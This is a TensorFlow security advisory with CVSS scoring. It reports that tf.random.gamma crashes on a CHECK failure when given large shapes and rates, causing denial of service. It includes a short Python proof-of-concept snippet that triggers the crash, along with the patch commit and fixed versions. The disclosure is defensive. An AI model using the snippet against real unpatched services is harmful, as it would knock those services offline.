CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
35.2%
When tf.random.gamma
receives large input shape and rates, it gives a CHECK
fail that can trigger a denial of service attack.
import tensorflow as tf
arg_0=tf.random.uniform(shape=(4,), dtype=tf.int32, maxval=65536)
arg_1=tf.random.uniform(shape=(4, 4), dtype=tf.float64, maxval=None)
arg_2=tf.random.uniform(shape=(4, 4, 4, 4, 4), dtype=tf.float64, maxval=None)
arg_3=tf.float64
arg_4=48
arg_5='None'
tf.random.gamma(shape=arg_0, alpha=arg_1, beta=arg_2, dtype=arg_3, seed=arg_4, name=arg_5)
We have patched the issue in GitHub commit 552bfced6ce4809db5f3ca305f60ff80dd40c5a3.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.